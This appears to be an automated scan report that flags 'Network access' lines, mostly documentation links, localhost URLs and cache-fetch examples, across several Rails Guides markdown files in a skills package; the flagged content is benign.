[`collection.empty?`]: https://api.rubyonrails.org/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-empty-3F [`collection.exists?`]: - Network accessline 782
https://api.rubyonrails.org/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-empty-3F - Network accessline 783
[`collection.exists?`]: https://api.rubyonrails.org/classes/ActiveRecord/FinderMethods.html#method-i-exists-3F [`collection.find`]: - Network accessline 784
https://api.rubyonrails.org/classes/ActiveRecord/FinderMethods.html#method-i-exists-3F - Network accessline 785
[`collection.find`]: https://api.rubyonrails.org/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-find [`collection.reload`]: - Network accessline 786
https://api.rubyonrails.org/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-find - Network accessline 787
[`collection.reload`]: https://api.rubyonrails.org/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-reload [`collection.size`]: - Network accessline 788
https://api.rubyonrails.org/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-reload - Network accessline 789
[`collection.size`]: https://api.rubyonrails.org/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-size [`collection.where`]: - Network accessline 790
https://api.rubyonrails.org/classes/ActiveRecord/Associations/CollectionProxy.html#method-i-size - Network accessline 792
https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-where - Network accessline 1264
We'll discuss some of the common methods, but you can find an exhaustive list in the [ActiveRecord Associations API](https://api.rubyonrails.org/classes/ActiveRecord/Associations/ClassMethods.html#method-i-has_and_belongs_to_many). - Network accessline 1266
API](https://api.rubyonrails.org/classes/ActiveRecord/Associations/ClassMethods.html#method-i-has_and_belongs_to_many). - Network accessline 1753
[connection.add_reference]: https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_reference - Network accessline 1754
https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_reference - Network accessline 1919
[inheritance_column]: https://api.rubyonrails.org/classes/ActiveRecord/ModelSchema.html#method-c-inheritance_column - Network accessline 1920
https://api.rubyonrails.org/classes/ActiveRecord/ModelSchema.html#method-c-inheritance_column - Network accessline 1922
https://api.rubyonrails.org/classes/ActiveRecord/SubclassNotFound.html - Network accessline 2138
But what if you want to reload the cache, because data might have been changed by some other part of the application? Just call [`reload`](https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-reload) - Network accessline 2139
by some other part of the application? Just call [`reload`](https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-reload) on the association: - Network accessline 2140
[`reload`](https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-reload) - Network accessline 2580
Each association supports numerous options which you can read more about in [`Options` section of each association in the ActiveRecord Associations API](https://api.rubyonrails.org/classes/ActiveRecord/Associations/ClassMethods.html). - Network accessline 2581
[`Options` section of each association in the ActiveRecord Associations API](https://api.rubyonrails.org/classes/ActiveRecord/Associations/ClassMethods.html). We'll discuss some of the common use cases below. - Network accessline 2582
API](https://api.rubyonrails.org/classes/ActiveRecord/Associations/ClassMethods.html). - Network accessline 3206
may have stale data. In other words, any orphaned models will still count towards the counter. To fix a stale counter cache, use [`reset_counters`](https://api.rubyonrails.org/classes/ActiveRecord/CounterCache/ClassMethods.html#method-i-res - Network accessline 3208
[`reset_counters`](https://api.rubyonrails.org/classes/ActiveRecord/CounterCache/ClassMethods.html#method-i-reset_counters).
packages/autoskills/skills-registry/rails-guides/references/autoloading_and_reloading_constants.md
- Network accessline 1
**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.** - Network accessline 48
Rails _autoloads_ them on your behalf if needed. This is possible thanks to a couple of [Zeitwerk](https://github.com/fxn/zeitwerk) loaders Rails sets up on your behalf, which provide autoloading, reloading, and eager loading. - Network accessline 64
Please, check the [Zeitwerk documentation](https://github.com/fxn/zeitwerk#file-structure) for further details. - Network accessline 73
Within an autoload path, file names must match the constants they define as documented [here](https://github.com/fxn/zeitwerk#file-structure). - Network accessline 306
# config/initializers/api_gateway_setup.rb ApiGateway.endpoint = "https://example.com" # NameError - Network accessline 307
ApiGateway.endpoint = "https://example.com" # NameError - Network accessline 313
# config/initializers/api_gateway_setup.rb Rails.application.config.to_prepare do ApiGateway.endpoint = "https://example.com" # CORRECT - Network accessline 314
Rails.application.config.to_prepare do ApiGateway.endpoint = "https://example.com" # CORRECT end - Network accessline 315
ApiGateway.endpoint = "https://example.com" # CORRECT - Network accessline 357
Yet another example are railties or engines decorating framework classes by including modules. For instance, [`turbo-rails`](https://github.com/hotwired/turbo-rails) decorates `ActiveRecord::Base` this way: - Network accessline 414
In production-like environments it is generally better to load all the application code when the application boots. Eager loading puts everything in memory ready to serve requests right away, and it is also [CoW](https://en.wikipedia.org/wi - Network accessline 456
In this example, we still want `app/models/shapes/circle.rb` to define `Circle`, not `Shapes::Circle`. This may be your personal preference to keep things simple, and also avoids refactors in existing code bases. The [collapsing](https://gi - Network accessline 555
You can even define a custom inflector for full flexibility. Please check the [Zeitwerk documentation](https://github.com/fxn/zeitwerk#custom-inflector) for further details. - Network accessline 574
Zeitwerk supports [custom root namespaces](https://github.com/fxn/zeitwerk#custom-root-namespaces) to address this use case, and you can customize the `main` autoloader to accomplish that: - Network accessline 607
For example, this application uses [Devise](https://github.com/heartcombo/devise):
packages/autoskills/skills-registry/rails-guides/references/caching_with_rails.md
- Network accessline 1
**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.** - Network accessline 38
By default, [Action Controller Caching](https://api.rubyonrails.org/classes/ActionController/Caching.html) is - Network accessline 39
Caching](https://api.rubyonrails.org/classes/ActionController/Caching.html) is - Network accessline 111
# Fetch a value with a block to set a default if it doesn’t exist welcome_message = Rails.cache.fetch("welcome_message") { "Welcome to Rails!" } - Network accessline 112
welcome_message = Rails.cache.fetch("welcome_message") { "Welcome to Rails!" } - Network accessline 123
a recently expired entry while one process rebuilds it. The full set of options is documented in [`ActiveSupport::Cache::Store`](https://api.rubyonrails.org/classes/ActiveSupport/Cache/Store.html). - Network accessline 125
[`ActiveSupport::Cache::Store`](https://api.rubyonrails.org/classes/ActiveSupport/Cache/Store.html). - Network accessline 139
# Fetch a value with a block to set a default if it doesn’t exist welcome_message = Rails.cache.fetch("welcome_message") { "Welcome to Rails!" } - Network accessline 140
welcome_message = Rails.cache.fetch("welcome_message") { "Welcome to Rails!" } - Network accessline 168
class Product < ApplicationRecord def competing_price Rails.cache.fetch("#{cache_key_with_version}/competing_price", expires_in: 12.hours) do - Network accessline 169
def competing_price Rails.cache.fetch("#{cache_key_with_version}/competing_price", expires_in: 12.hours) do Competitor::API.find_price(id) - Network accessline 170
Rails.cache.fetch("#{cache_key_with_version}/competing_price", expires_in: 12.hours) do - Network accessline 187
to fit technology backend constraints. This means, for instance, that you can't save values with `Rails.cache` and then try to pull them out with the [`dalli`](https://github.com/petergoldstein/dalli) gem. However, you also don't - Network accessline 188
save values with `Rails.cache` and then try to pull them out with the [`dalli`](https://github.com/petergoldstein/dalli) gem. However, you also don't need to worry about exceeding the memcached size limit or violating syntax - Network accessline 189
[`dalli`](https://github.com/petergoldstein/dalli) gem. However, you also don't - Network accessline 198
# super_admins is an expensive SQL query, so don't run it too often Rails.cache.fetch("super_admin_users", expires_in: 12.hours) do - Network accessline 199
Rails.cache.fetch("super_admin_users", expires_in: 12.hours) do - Network accessline 213
ids = Rails.cache.fetch("super_admin_user_ids", expires_in: 12.hours) do - Network accessline 262
TIP: Cache stores like [Memcached](https://memcached.org) automatically evict - Network accessline 317
Rails can infer many template dependencies directly from `render` calls in the template. For example, the [`ActionView::Digestor`](https://api.rubyonrails.org/classes/ActionView/Digestor.html) - Network accessline 318
template. For example, the [`ActionView::Digestor`](https://api.rubyonrails.org/classes/ActionView/Digestor.html) can understand calls like these: - Network accessline 319
[`ActionView::Digestor`](https://api.rubyonrails.org/classes/ActionView/Digestor.html) - Network accessline 448
You can share partials, and their cached output, across templates with different [MIME types](https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types). - Network accessline 449
[MIME types](https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types). For example, the same partial can be reused from both HTML and JavaScript - Network accessline 450
types](https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types). - Network accessline 680
can install them separately. For example, if you want to use Solid Queue and Solid Cable but not Solid Cache, you can follow the installation guides for [Solid Queue](https://github.com/rails/solid_queue#installation) and [Solid - Network accessline 681
Solid Cable but not Solid Cache, you can follow the installation guides for [Solid Queue](https://github.com/rails/solid_queue#installation) and [Solid Cable](https://github.com/rails/solid_cable#installation). - Network accessline 682
[Solid Queue](https://github.com/rails/solid_queue#installation) and [Solid - Network accessline 683
Cable](https://github.com/rails/solid_cable#installation). - Network accessline 748
For the full list of keys under `store_options`, see [Cache configuration](https://github.com/rails/solid_cache#cache-configuration). - Network accessline 749
configuration](https://github.com/rails/solid_cache#cache-configuration). - Network accessline 756
Solid Cache tracks cache writes by incrementing a counter with each write. When the counter reaches 50% of the `expiry_batch_size` from the [Cache configuration](https://github.com/rails/solid_cache#cache-configuration), a - Network accessline 757
the counter reaches 50% of the `expiry_batch_size` from the [Cache configuration](https://github.com/rails/solid_cache#cache-configuration), a background task is triggered to handle cache expiry. This approach ensures cache - Network accessline 758
configuration](https://github.com/rails/solid_cache#cache-configuration), a - Network accessline 763
when the cache is not being updated. If you prefer to run the expiry process in a background job instead of a thread, set `expiry_method` from the [Cache configuration](https://github.com/rails/solid_cache#cache-configuration) to - Network accessline 764
a background job instead of a thread, set `expiry_method` from the [Cache configuration](https://github.com/rails/solid_cache#cache-configuration) to `:job`. - Network accessline 765
configuration](https://github.com/rails/solid_cache#cache-configuration) to - Network accessline 877
[`ActiveSupport::Cache::Store`]: https://api.rubyonrails.org/classes/ActiveSupport/Cache/Store.html - Network accessline 878
https://api.rubyonrails.org/classes/ActiveSupport/Cache/Store.html - Network accessline 879
[ActiveSupport::Cache::Store#delete]: https://api.rubyonrails.org/classes/ActiveSupport/Cache/Store.html#method-i-delete [ActiveSupport::Cache::Store#exist?]: - Network accessline 880
https://api.rubyonrails.org/classes/ActiveSupport/Cache/Store.html#method-i-delete - Network accessline 881
[ActiveSupport::Cache::Store#exist?]: https://api.rubyonrails.org/classes/ActiveSupport/Cache/Store.html#method-i-exist-3F [ActiveSupport::Cache::Store#fetch]: - Network accessline 882
https://api.rubyonrails.org/classes/ActiveSupport/Cache/Store.html#method-i-exist-3F [ActiveSupport::Cache::Store#fetch]: https://api.rubyonrails.org/classes/ActiveSupport/Cache/Store.html#method-i-fetch - Network accessline 883
[ActiveSupport::Cache::Store#fetch]: https://api.rubyonrails.org/classes/ActiveSupport/Cache/Store.html#method-i-fetch [ActiveSupport::Cache::Store#read]: - Network accessline 884
https://api.rubyonrails.org/classes/ActiveSupport/Cache/Store.html#method-i-fetch - Network accessline 885
[ActiveSupport::Cache::Store#read]: https://api.rubyonrails.org/classes/ActiveSupport/Cache/Store.html#method-i-read [ActiveSupport::Cache::Store#write]: - Network accessline 886
https://api.rubyonrails.org/classes/ActiveSupport/Cache/Store.html#method-i-read - Network accessline 888
https://api.rubyonrails.org/classes/ActiveSupport/Cache/Store.html#method-i-write - Network accessline 914
[`ActiveSupport::Cache::MemoryStore`]: https://api.rubyonrails.org/classes/ActiveSupport/Cache/MemoryStore.html - Network accessline 915
https://api.rubyonrails.org/classes/ActiveSupport/Cache/MemoryStore.html - Network accessline 936
[`ActiveSupport::Cache::FileStore`]: https://api.rubyonrails.org/classes/ActiveSupport/Cache/FileStore.html - Network accessline 937
https://api.rubyonrails.org/classes/ActiveSupport/Cache/FileStore.html - Network accessline 962
See the [`Dalli::Client` documentation](https://www.rubydoc.info/gems/dalli/Dalli/Client#initialize-instance_method) - Network accessline 963
documentation](https://www.rubydoc.info/gems/dalli/Dalli/Client#initialize-instance_method) - Network accessline 970
[`ActiveSupport::Cache::MemCacheStore`]: https://api.rubyonrails.org/classes/ActiveSupport/Cache/MemCacheStore.html - Network accessline 971
https://api.rubyonrails.org/classes/ActiveSupport/Cache/MemCacheStore.html - Network accessline 972
[`memcached`]: https://memcached.org/ - Network accessline 974
https://api.rubyonrails.org/classes/ActiveSupport/Cache/MemCacheStore.html#method-i-write - Network accessline 983
cache server and avoid filling your persistent Redis instance with volatile cache data. See the [Redis cache server setup guide](https://redis.io/topics/lru-cache) for more details. - Network accessline 985
guide](https://redis.io/topics/lru-cache) for more details. - Network accessline 1038
[`ActiveSupport::Cache::RedisCacheStore`]: https://api.rubyonrails.org/classes/ActiveSupport/Cache/RedisCacheStore.html - Network accessline 1039
https://api.rubyonrails.org/classes/ActiveSupport/Cache/RedisCacheStore.html - Network accessline 1040
[Redis]: https://redis.io/ - Network accessline 1053
[`ActiveSupport::Cache::NullStore`]: https://api.rubyonrails.org/classes/ActiveSupport/Cache/NullStore.html - Network accessline 1054
https://api.rubyonrails.org/classes/ActiveSupport/Cache/NullStore.html - Network accessline 1081
class ReportJob < ApplicationJob def perform(account) Rails.cache.fetch([account, "daily-report"], expires_in: 1.hour) do - Network accessline 1082
def perform(account) Rails.cache.fetch([account, "daily-report"], expires_in: 1.hour) do account.generate_daily_report - Network accessline 1083
Rails.cache.fetch([account, "daily-report"], expires_in: 1.hour) do - Network accessline 1099
Rails.application.executor.wrap do Rails.cache.fetch("stats", expires_in: 5.minutes) { expensive_calculation } - Network accessline 1100
Rails.cache.fetch("stats", expires_in: 5.minutes) { expensive_calculation }
packages/autoskills/skills-registry/rails-guides/references/command_line.md
- Network accessline 1
**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.** - Network accessline 2
<https://guides.rubyonrails.org>.** - Network accessline 200
encoding: unicode # For details on connection pooling, see Rails configuration guide # https://guides.rubyonrails.org/configuring.html#database-pooling - Network accessline 201
# For details on connection pooling, see Rails configuration guide # https://guides.rubyonrails.org/configuring.html#database-pooling pool: <%= ENV.fetch("RAILS_MAX_THREADS") { 3 } %> - Network accessline 202
# https://guides.rubyonrails.org/configuring.html#database-pooling - Network accessline 203
pool: <%= ENV.fetch("RAILS_MAX_THREADS") { 3 } %> - Network accessline 242
We can start a Rails application using the `bin/rails server` command, which launches the [Puma](https://github.com/puma/puma) web server that comes bundled - Network accessline 243
launches the [Puma](https://github.com/puma/puma) web server that comes bundled - Network accessline 257
* Environment: development * PID: 5295 * Listening on http://127.0.0.1:3000 - Network accessline 258
* PID: 5295 * Listening on http://127.0.0.1:3000 * Listening on http://[::1]:3000 - Network accessline 259
* Listening on http://127.0.0.1:3000 - Network accessline 260
* Listening on http://[::1]:3000 - Network accessline 264
With just two commands we have a Rails application up and running. The `server` command starts the application listening on port 3000 by default. You can open your browser to [http://localhost:3000](http://localhost:3000) to see a basic - Network accessline 265
command starts the application listening on port 3000 by default. You can open your browser to [http://localhost:3000](http://localhost:3000) to see a basic Rails application running. - Network accessline 266
your browser to [http://localhost:3000](http://localhost:3000) to see a basic - Network accessline 393
Then, we can start the Rails server, with `bin/rails server`, and go to the added route [http://localhost:3000/greetings/hello](http://localhost:3000/greetings/hello) - Network accessline 394
added route [http://localhost:3000/greetings/hello](http://localhost:3000/greetings/hello) to see the message. - Network accessline 395
[http://localhost:3000/greetings/hello](http://localhost:3000/greetings/hello) - Network accessline 427
NOTE: For a list of available field types for the `type` parameter, refer to the [API documentation](https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_column). - Network accessline 428
[API documentation](https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_column). The `index` parameter generates a corresponding index for the column. If you - Network accessline 429
documentation](https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_column). - Network accessline 516
(see [Managing the Database](#managing-the-database) for more on that command). Then, if you start the Rails server with `bin/rails server` and navigate to [http://localhost:3000/posts](http://localhost:3000/posts), you will be able to - Network accessline 517
Then, if you start the Rails server with `bin/rails server` and navigate to [http://localhost:3000/posts](http://localhost:3000/posts), you will be able to interact with the `post` resource - see a list of posts, create new posts, as - Network accessline 518
[http://localhost:3000/posts](http://localhost:3000/posts), you will be able to - Network accessline 844
[`ActiveSupport::Executor`]: https://api.rubyonrails.org/classes/ActiveSupport/Executor.html - Network accessline 845
https://api.rubyonrails.org/classes/ActiveSupport/Executor.html - Network accessline 922
TIP: In development mode, you can also access the same routes info by going to `http://localhost:3000/rails/info/routes` - Network accessline 923
`http://localhost:3000/rails/info/routes`
packages/autoskills/skills-registry/rails-guides/references/configuring.md
- Network accessline 1
**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.** - Network accessline 51
NOTE: If you need to apply configuration directly to a class, use a [lazy load hook](https://api.rubyonrails.org/classes/ActiveSupport/LazyLoadHooks.html) in an initializer to avoid autoloading the class before initialization has completed. - Network accessline 57
[`config.load_defaults`]: https://api.rubyonrails.org/classes/Rails/Application/Configuration.html#method-i-load_defaults - Network accessline 395
Using `ActiveSupport::EventedFileUpdateChecker` depends on the [listen](https://github.com/guard/listen) gem: - Network accessline 403
On Linux and macOS no additional gems are needed, but some are required [for *BSD](https://github.com/guard/listen#on-bsd) and - Network accessline 404
[for *BSD](https://github.com/guard/listen#on-bsd) and - Network accessline 405
[for Windows](https://github.com/guard/listen#on-windows). - Network accessline 407
Note that [some setups are unsupported](https://github.com/guard/listen#issues--limitations). - Network accessline 511
[`ActiveSupport::ParameterFilter.precompile_filters`]: https://api.rubyonrails.org/classes/ActiveSupport/ParameterFilter.html#method-c-precompile_filters - Access to secretsline 546
[Credential-related source omitted] - Network accessline 567
It is recommended to leave this unset, and instead to specify a `secret_key_base` in `config/credentials.yml.enc`. See the [`secret_key_base` API documentation]( https://api.rubyonrails.org/classes/Rails/Application.html#method-i-secret_key - Network accessline 568
in `config/credentials.yml.enc`. See the [`secret_key_base` API documentation]( https://api.rubyonrails.org/classes/Rails/Application.html#method-i-secret_key_base) for more information and alternative configuration methods. - Network accessline 569
https://api.rubyonrails.org/classes/Rails/Application.html#method-i-secret_key_base) - Network accessline 617
Configuration options for the [`ActionDispatch::SSL`](https://api.rubyonrails.org/classes/ActionDispatch/SSL.html) middleware. - Network accessline 827
[`Server-Timing`]: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Server-Timing - Network accessline 1041
[ActiveModel::Error#full_message]: https://api.rubyonrails.org/classes/ActiveModel/Error.html#method-i-full_message - Network accessline 1587
it then considers them as string literals. Because of this, typos can silently go unnoticed. For example, it is possible to create an index for a non existing column. See [SQLite documentation](https://www.sqlite.org/quirks.html#double_quot - Network accessline 1589
See [SQLite documentation](https://www.sqlite.org/quirks.html#double_quoted_string_literals_are_accepted) for more details. - Network accessline 1779
[`Rails.application.message_verifiers`]: https://api.rubyonrails.org/classes/Rails/Application.html#method-i-message_verifiers - Network accessline 1780
[ActiveSupport::MessageVerifiers#rotate]: https://api.rubyonrails.org/classes/ActiveSupport/MessageVerifiers.html#method-i-rotate - Network accessline 1781
[ActiveSupport::MessageVerifiers#prepend]: https://api.rubyonrails.org/classes/ActiveSupport/MessageVerifiers.html#method-i-prepend - Network accessline 2016
that requests originate from the same site. Requests without a valid header are rejected. This is simpler and more secure but only works with browsers that support the [Fetch Metadata Request Headers](https://developer.mozilla.org/en-US - Network accessline 2018
[Fetch Metadata Request Headers](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Sec-Fetch-Site). - Network accessline 2124
[redirect_to]: https://api.rubyonrails.org/classes/ActionController/Redirecting.html#method-i-redirect_to - Network accessline 2198
[params_wrapper]: https://api.rubyonrails.org/classes/ActionController/ParamsWrapper.html - Network accessline 2207
Configures the [`ParamsWrapper`](https://api.rubyonrails.org/classes/ActionController/ParamsWrapper.html). This can be called at - Network accessline 2266
[`ActionDispatch::DebugExceptions`]: https://api.rubyonrails.org/classes/ActionDispatch/DebugExceptions.html - Network accessline 2667
Specifies a default value for the `loading` attribute of `<img>` tags rendered by the `image_tag` helper. For example, when set to `"lazy"`, `<img>` tags rendered by `image_tag` will include `loading="lazy"`, which [instructs the browser to - Network accessline 2840
Additionally, it is possible to pass any [configuration option `Mail::SMTP` respects](https://github.com/mikel/mail/blob/master/lib/mail/network/delivery_methods/smtp.rb). - Network accessline 3054
roundtripping some Ruby types that are not supported by JSON, such as `Symbol`. They can also provide improved performance and smaller payload sizes. However, they require the [`msgpack` gem](https://rubygems.org/gems/msgpack). - Network accessline 3056
they require the [`msgpack` gem](https://rubygems.org/gems/msgpack). - Network accessline 3076
[`ActiveSupport::MessageEncryptor`]: https://api.rubyonrails.org/classes/ActiveSupport/MessageEncryptor.html - Network accessline 3077
[`ActiveSupport::MessageVerifier`]: https://api.rubyonrails.org/classes/ActiveSupport/MessageVerifier.html - Network accessline 3127
[deprecation_behavior]: https://api.rubyonrails.org/classes/ActiveSupport/Deprecation/Behavior.html#method-i-behavior-3D - Network accessline 3144
When `false`, disables all deprecation warnings, including disallowed deprecations, from the [application’s deprecators](https://api.rubyonrails.org/classes/Rails/Application.html#method-i-deprecators). This includes all the deprecations fr - Network accessline 3186
[`ActiveSupport::TimeZone.utc_to_local`]: https://api.rubyonrails.org/classes/ActiveSupport/TimeZone.html#method-i-utc_to_local - Network accessline 3204
[ActiveSupport::Cache::Store#fetch]: https://api.rubyonrails.org/classes/ActiveSupport/Cache/Store.html#method-i-fetch - Network accessline 3205
[ActiveSupport::Cache::Store#write]: https://api.rubyonrails.org/classes/ActiveSupport/Cache/Store.html#method-i-write - Network accessline 3242
Historically these characters were not valid inside JavaScript literal strings but that changed in ECMAScript 2019. As such it's no longer a concern in modern browsers: https://caniuse.com/mdn-javascript_builtins_json_json_superset. - Network accessline 3243
As such it's no longer a concern in modern browsers: https://caniuse.com/mdn-javascript_builtins_json_json_superset. - Network accessline 3258
Sets the adapter for the queuing backend. The default adapter is `:async`. For an up-to-date list of built-in adapters see the [ActiveJob::QueueAdapters API documentation](https://api.rubyonrails.org/classes/ActiveJob/QueueAdapters.html). - Network accessline 3601
[`ActiveStorage::Blob#url`]: https://api.rubyonrails.org/classes/ActiveStorage/Blob.html#method-i-url - Network accessline 3602
[`ActiveStorage::Blob#service_url_for_direct_upload`]: https://api.rubyonrails.org/classes/ActiveStorage/Blob.html#method-i-service_url_for_direct_upload - Network accessline 3603
[`ActiveStorage::Preview#url`]: https://api.rubyonrails.org/classes/ActiveStorage/Preview.html#method-i-url - Network accessline 3604
[`ActiveStorage::Variant#url`]: https://api.rubyonrails.org/classes/ActiveStorage/Variant.html#method-i-url - Network accessline 3672
default to _replacing_ the current collection instead of _appending_ to it. Thus to support submitting an _empty_ collection, when `multiple_file_field_include_hidden` is `true`, the [`file_field`](https://api.rubyonrails.org/classes/Action - Network accessline 3673
to support submitting an _empty_ collection, when `multiple_file_field_include_hidden` is `true`, the [`file_field`](https://api.rubyonrails.org/classes/ActionView/Helpers/FormBuilder.html#method-i-file_field) helper will render an auxiliar - Network accessline 3674
is `true`, the [`file_field`](https://api.rubyonrails.org/classes/ActionView/Helpers/FormBuilder.html#method-i-file_field) - Network accessline 3675
helper will render an auxiliary hidden field, similar to the auxiliary field rendered by the [`checkbox`](https://api.rubyonrails.org/classes/ActionView/Helpers/FormBuilder.html#method-i-checkbox) helper. - Network accessline 3676
rendered by the [`checkbox`](https://api.rubyonrails.org/classes/ActionView/Helpers/FormBuilder.html#method-i-checkbox) - Network accessline 3725
See Ruby's documentation for [`Regexp.timeout=`](https://docs.ruby-lang.org/en/master/Regexp.html#method-c-timeout-3D). - Network accessline 3874
Rails comes with built-in support for [SQLite3](https://www.sqlite.org), which is a lightweight serverless database application. While Rails better configures SQLite for production workloads, a busy production environment may overload SQLit - Network accessline 3886
[SQLite extensions](https://sqlite.org/loadext.html) are supported when using `sqlite3` gem v2.4.0 or later by configuring `extensions`: - Network accessline 3897
Many useful features can be added to SQLite through extensions. You may wish to browse the [SQLite extension hub](https://sqlpkg.org/) or use gems like [`sqlpkg-ruby`](https://github.com/fractaledmind/sqlpkg-ruby) and [`sqlean-ruby`](https: - Network accessline 3899
Other configuration options are described in the [SQLite3Adapter documentation]( https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SQLite3Adapter.html). - Network accessline 4096
Passenger makes it easy to run your application in a subdirectory. You can find the relevant configuration in the [Passenger manual](https://www.phusionpassenger.com/library/deploy/apache/deploy/ruby/#deploying-an-app-to-a-sub-uri-or-subdir - Network accessline 4104
One such application server you can use is [Unicorn](https://bogomips.org/unicorn/) to run behind a reverse proxy. - Network accessline 4108
You can find more information in the [Unicorn readme](https://bogomips.org/unicorn/README.html) and understand the [philosophy](https://bogomips.org/unicorn/PHILOSOPHY.html) behind it. - Network accessline 4127
proxy_set_header Host $http_host; proxy_redirect off; proxy_pass http://application_server; - Network accessline 4128
proxy_redirect off; proxy_pass http://application_server; } - Network accessline 4129
proxy_pass http://application_server; - Network accessline 4136
Be sure to read the [NGINX documentation](https://nginx.org/en/docs/) for the most up-to-date information. - Network accessline 4476
[`Rails.application.deprecators`]: https://api.rubyonrails.org/classes/Rails/Application.html#method-i-deprecators - Network accessline 4508
[`ActiveRecord::ConnectionAdapters::ConnectionPool`]: https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/ConnectionPool.html - Network accessline 4589
Sometimes, you may want to prevent some pages of your application to be visible on search sites like Google, Bing, Yahoo, or Duck Duck Go. The robots that index these sites will first analyze the `http://your-site.com/robots.txt` file to - Network accessline 4590
on search sites like Google, Bing, Yahoo, or Duck Duck Go. The robots that index these sites will first analyze the `http://your-site.com/robots.txt` file to know which pages it is allowed to index. - Network accessline 4591
these sites will first analyze the `http://your-site.com/robots.txt` file to - Network accessline 4603
To block just specific pages, it's necessary to use a more complex syntax. Learn it on the [official documentation](https://www.robotstxt.org/robotstxt.html). - Network accessline 4604
it on the [official documentation](https://www.robotstxt.org/robotstxt.html).
packages/autoskills/skills-registry/rails-guides/references/debugging_rails_applications.md
- Network accessline 1
**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.** - Network accessline 191
↳ app/controllers/articles_controller.rb:31 The article was saved and now the user is going to be redirected... Redirected to http://localhost:3000/articles/1 - Network accessline 192
The article was saved and now the user is going to be redirected... Redirected to http://localhost:3000/articles/1 Completed 302 Found in 4ms (ActiveRecord: 0.8ms) - Network accessline 193
Redirected to http://localhost:3000/articles/1 - Network accessline 258
Redirected to http://localhost:3000/posts/1 - Network accessline 273
SQL statements can be commented with tags containing runtime information, such as the name of the controller or job, to trace troublesome queries back to the area of the application that generated these statements. This is useful when you a - Network accessline 274
trace troublesome queries back to the area of the application that generated these statements. This is useful when you are logging slow queries (e.g. [MySQL](https://dev.mysql.com/doc/refman/en/slow-query-log.html), [PostgreSQL](https://www - Network accessline 275
logging slow queries (e.g. [MySQL](https://dev.mysql.com/doc/refman/en/slow-query-log.html), [PostgreSQL](https://www.postgresql.org/docs/current/runtime-config-logging.html#GUC-LOG-MIN-DURATION-STATEMENT)), - Network accessline 284
By default the name of the application, the name and action of the controller, or the name of the job are logged. The default format is [SQLCommenter](https://open-telemetry.github.io/opentelemetry-sqlcommenter/). For example: - Network accessline 285
default format is [SQLCommenter](https://open-telemetry.github.io/opentelemetry-sqlcommenter/). For example: - Network accessline 293
The behavior of [`ActiveRecord::QueryLogs`](https://api.rubyonrails.org/classes/ActiveRecord/QueryLogs.html) can be - Network accessline 342
INFO: This section was written by [Jon Cairns at a Stack Overflow answer](https://stackoverflow.com/questions/16546730/logging-in-rails-is-there-any-performance-hit/16546935#16546935) - Network accessline 343
and it is licensed under [cc by-sa 4.0](https://creativecommons.org/licenses/by-sa/4.0/). - Network accessline 359
Rails 7 includes the `debug` gem in the `Gemfile` of new applications generated by CRuby. By default, it is ready in the `development` and `test` environments. Please check its [documentation](https://github.com/ruby/debug) for usage. - Network accessline 361
Please check its [documentation](https://github.com/ruby/debug) for usage. - Network accessline 447
@_config = {} @_lookup_context = #<ActionView::LookupContext:0x00007fd91a037e38 @details_key=nil, @digest_cache=... @_request = #<ActionDispatch::Request GET "http://localhost:3000/posts" for 127.0.0.1> - Network accessline 448
@_lookup_context = #<ActionView::LookupContext:0x00007fd91a037e38 @details_key=nil, @digest_cache=... @_request = #<ActionDispatch::Request GET "http://localhost:3000/posts" for 127.0.0.1> @_response = #<ActionDispatch::Response:0x00007fd91 - Network accessline 449
@_request = #<ActionDispatch::Request GET "http://localhost:3000/posts" for 127.0.0.1> - Network accessline 715
Stop by #0 BP - Watch #<PostsController:0x00007fce69ca5320> @_response_body = -> ["<html><body>You are being <a href=\"http://localhost:3000/posts/13\">redirected</a>.</body></html>"] - Network accessline 753
@_config = {} @_lookup_context = #<ActionView::LookupContext:0x00007fce3ad336b8 @details_key=nil, @digest_cache=... @_request = #<ActionDispatch::Request GET "http://localhost:3000/posts" for 127.0.0.1> - Network accessline 754
@_lookup_context = #<ActionView::LookupContext:0x00007fce3ad336b8 @details_key=nil, @digest_cache=... @_request = #<ActionDispatch::Request GET "http://localhost:3000/posts" for 127.0.0.1> @_response = #<ActionDispatch::Response:0x00007fce3 - Network accessline 755
@_request = #<ActionDispatch::Request GET "http://localhost:3000/posts" for 127.0.0.1> - Network accessline 809
You can find more commands and configuration options from its [documentation](https://github.com/ruby/debug). - Network accessline 877
[Valgrind](http://valgrind.org/) is an application for detecting C-based memory - Network accessline 885
